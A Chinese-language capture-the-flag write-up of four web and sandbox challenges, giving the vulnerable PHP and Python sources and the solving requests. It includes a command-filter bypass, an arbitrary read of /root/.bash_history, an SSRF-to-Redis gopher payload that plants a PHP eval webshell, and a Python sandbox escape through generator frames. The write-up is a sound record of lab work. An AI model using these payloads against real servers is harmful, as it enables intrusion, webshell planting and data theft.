easyweb
访问/flag.php
,发现源码加密的代码.zip
下载下来,进行绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php
if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1)
{
echo 'welcome,admin';
$_SESSION['admin'] = True;
}
else
{
die('flag?');
}
?>
<?php
if ($_SESSION['admin'])
{
if(isset($_POST['code']))
{
if(preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])==1)
echo 'no!';
elseif(preg_match("/[@#%^&*()|\/?><']/",$_POST['code'])==1)
echo 'no!';
else
system($_POST['code']);
}
}
?>
|
1
2
3
4
5
6
7
8
9
10
11
12
|
POST /index.php?id=0.999999999999999999 HTTP/1.1
Host: web-fe24daddc0.challenge.xctf.org.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
code=l""s%0a
|
访问/7l8g
得到flag
where
/look?file=
存在任意文件读取,读取/root/.bash_history
tantantan
访问/aaabbb.php
POST data=file:///var/www/html/aaabbb.php
读取源码
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
error_reporting(0);
// error_reporting(E_ALL & ~E_WARNING);
// highlight_file(__FILE__);
$url=$_POST['data'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
|
dict://127.0.0.1:6379
发现存在redis
服务
利用gopher
打redis
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
POST /aaabbb.php HTTP/1.1
Host: web-da58846781.challenge.xctf.org.cn
Content-Length: 26
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://web-da58846781.challenge.xctf.org.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://web-da58846781.challenge.xctf.org.cn//aaabbb.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
data=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_REQUEST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
|
生成shell.php
访问/shell.php?1=system('cat /9jsh267sbh1312h7dn2');
获得flag
WHAT_CAN_I_SAY
有一些过滤,先把它注释掉,然后进行绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
|
#!/usr/local/bin/python3
# First Line of docker file -> FROM ubuntu:23.04
import os
import subprocess
import sys
from tempfile import TemporaryDirectory
WELCOME = r'''
__ ___ _ _______ _____ _ _ _____ _____ __ __
\ \ / / | | | /\|__ __| / ____| /\ | \ | | |_ _| / ____| /\\ \ / /
\ \ /\ / /| |__| | / \ | | | | / \ | \| | | | | (___ / \\ \_/ /
\ \/ \/ / | __ | / /\ \ | | | | / /\ \ | . ` | | | \___ \ / /\ \\ /
\ /\ / | | | |/ ____ \| | | |____ / ____ \| |\ | _| |_ ____) / ____ \| |
\/ \/ |_| |_/_/ \_\_| \_____/_/ \_\_| \_| |_____| |_____/_/ \_\_|
'''
basecode = '''
# safebuiltins_dict={x:y for x,y in dict(vars(__builtins__)).items() if x[0] not in "_-abcdefghijklmnopqrstuvwxyz"}
# del __builtins__
# try:exec(code,safebuiltins_dict,{})
# except:pass
exec(code)
'''
def main(workdir):
print("Make `input equals output` but with some rules!")
print("1. Not allow to use some special chars -> like unicode")
print("2. Code length less than 666")
print("3. Make sure 'what.can.i.say' in your code that makes Kobe like you!")
print("4. Pls input your code which end with <EOF>")
print("Good luck!")
os.chdir(workdir)
os.mkdir("runsbox")
code = ""
tmp_input = []
while (x := input(">>> ")) != "<EOF>":
tmp_input.append(x)
code = "\n".join(m for m in tmp_input)
# assert 0 < len(code) < 666, "Boy your code is too long!!!!!"
# assert all(i not in code for i in list("'\"_{}#")), "I don't like those chars..."
# assert "import" not in code,"Boy, this isn't funny!"
# assert "what.can.i.say" in code, "Mamba out!"
# assert all(10 <= ord(c) <= 127 for c in code), "pls using ascii code boy!"
try:
with open("runbox.py", "w+") as f:
f.write(f"""#!/usr/local/bin/python3
{code = }
{basecode}
""")
runsbx_handle = subprocess.run(
"/usr/bin/python3 runbox.py",
shell=True,
capture_output=True,
encoding="utf-8",
)
except Exception:
sys.stderr.write("run sandbox error!\n")
os._exit(0)
if (
len(runsbx_handle.stdout)
and len(runsbx_handle.stderr)
and runsbx_handle.stdout == runsbx_handle.stderr == code
):
# with open("/fake_local_flag_path_but_real_into_remote_xxxxxxxxxxxx") as f:
# sys.stdout.write(f.read())
print("bypass")
else:
sys.stderr.write("Man what can i say?\n")
if __name__ == "__main__":
print(WELCOME)
with TemporaryDirectory() as workdir:
main(workdir)
|
参考文章
https://hust-l3hsec.feishu.cn/docx/MZ8SdwSoPo3cBTxOxbGcuUBun4c
https://xz.aliyun.com/t/13635
1
2
3
4
5
6
|
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_globals
code = globals['code']
exec('__import__("sys").stdout.write(code)')
exec('__import__("sys").stderr.write(code)')
|
接下来想办法绕过如下两处代码
1
2
3
4
5
6
7
8
9
10
|
safebuiltins_dict={x:y for x,y in dict(vars(__builtins__)).items() if x[0] not in "_-abcdefghijklmnopqrstuvwxyz"}
del __builtins__
try:exec(code,safebuiltins_dict,{})
except:pass
assert 0 < len(code) < 666, "Boy your code is too long!!!!!"
assert all(i not in code for i in list("'\"_{}#")), "I don't like those chars..."
assert "import" not in code,"Boy, this isn't funny!"
assert "what.can.i.say" in code, "Mamba out!"
assert all(10 <= ord(c) <= 127 for c in code), "pls using ascii code boy!"
|
先看第一处
1
2
3
4
|
safebuiltins_dict={x:y for x,y in dict(vars(__builtins__)).items() if x[0] not in "_-abcdefghijklmnopqrstuvwxyz"}
del __builtins__
try:exec(code,safebuiltins_dict,{})
except:pass
|
这个过滤大概意思就是删除了__builtins__
,但是保留了一些函数
第二处
1
2
3
4
5
|
assert 0 < len(code) < 666, "Boy your code is too long!!!!!"
assert all(i not in code for i in list("'\"_{}#")), "I don't like those chars..."
assert "import" not in code,"Boy, this isn't funny!"
assert "what.can.i.say" in code, "Mamba out!"
assert all(10 <= ord(c) <= 127 for c in code), "pls using ascii code boy!"
|
限制了code的长度在0-666之前,并且限制了一些特殊字符'\"_{}#
,并且ascii码需要在10-127之前,包含what.can.i.say
构造exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
g=chr(103)
i=chr(105)
k=chr(95)
f=chr(102)
r=chr(114)
a=chr(97)
m=chr(109)
e=chr(101)
b=chr(98)
c=chr(99)
l=chr(108)
o=chr(111)
s=chr(115)
d=chr(100)
k1=chr(107)
p=chr(112)
t=chr(116)
t1=chr(40)
t2=chr(34)
t3=chr(41)
y=chr(121)
d1=chr(46)
u=chr(117)
w=chr(119)
G=g+i+k+f+r+a+m+e
F=f+k+b+a+c+k1
GL=f+k+g+l+o+b+a+l+s
CO=c+o+d+e
i1=k+k+i+m+p+o+r+t+k+k+t1+t2+s+y+s+t2+t3+d1+s+t+d
u=o+u+t
i2=d1+w+r+i+t+e+t1+a+t3
r=e+r+r
def a():
global G,F,GL,CO
def b():
yield getattr(getattr(getattr(c,G),F),F)
c = b()
z = getattr(getattr(next(c),F),GL)[CO]
return z
a = a()
exec(i1+u+i2)
exec(i1+r+i2)
try:
what.can.i.say
except:
pass
|
成功绕过
exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
|
import subprocess
import os
import sys
code = '''
g=chr(103)
i=chr(105)
k=chr(95)
f=chr(102)
r=chr(114)
a=chr(97)
m=chr(109)
e=chr(101)
b=chr(98)
c=chr(99)
l=chr(108)
o=chr(111)
s=chr(115)
d=chr(100)
k1=chr(107)
p=chr(112)
t=chr(116)
t1=chr(40)
t2=chr(34)
t3=chr(41)
y=chr(121)
d1=chr(46)
u=chr(117)
w=chr(119)
G=g+i+k+f+r+a+m+e
F=f+k+b+a+c+k1
GL=f+k+g+l+o+b+a+l+s
CO=c+o+d+e
i1=k+k+i+m+p+o+r+t+k+k+t1+t2+s+y+s+t2+t3+d1+s+t+d
u=o+u+t
i2=d1+w+r+i+t+e+t1+a+t3
r=e+r+r
def a():
global G,F,GL,CO
def b():
yield getattr(getattr(getattr(c,G),F),F)
c = b()
z = getattr(getattr(next(c),F),GL)[CO]
return z
a = a()
exec(i1+u+i2)
exec(i1+r+i2)
try:
what.can.i.say
except:
pass
'''
basecode = '''
safebuiltins_dict={x:y for x,y in dict(vars(__builtins__)).items() if x[0] not in "_-abcdefghijklmnopqrstuvwxyz"}
del __builtins__
try:exec(code,safebuiltins_dict,{})
except Exception as e:print(e)
'''
assert 0 < len(code) < 666, "Boy your code is too long!!!!!"
assert all(i not in code for i in list("'\"_{}#")), "I don't like those chars..."
assert "import" not in code,"Boy, this isn't funny!"
assert "what.can.i.say" in code, "Mamba out!"
assert all(10 <= ord(c) <= 127 for c in code), "pls using ascii code boy!"
try:
with open("./runbox1.py", "w+") as f:
f.write(f"""#!/usr/local/bin/python3
{code = }
{basecode}
""")
runsbx_handle = subprocess.run(
"/usr/bin/python3 ./runbox1.py",
shell=True,
capture_output=True,
encoding="utf-8",
)
except Exception:
sys.stderr.write("run sandbox error!\n")
os._exit(0)
if (
len(runsbx_handle.stdout)
and len(runsbx_handle.stderr)
and runsbx_handle.stdout == runsbx_handle.stderr == code
):
# with open("/fake_local_flag_path_but_real_into_remote_xxxxxxxxxxxx") as f:
# sys.stdout.write(f.read())
print("bypass")
else:
sys.stderr.write("Man what can i say?\n")
|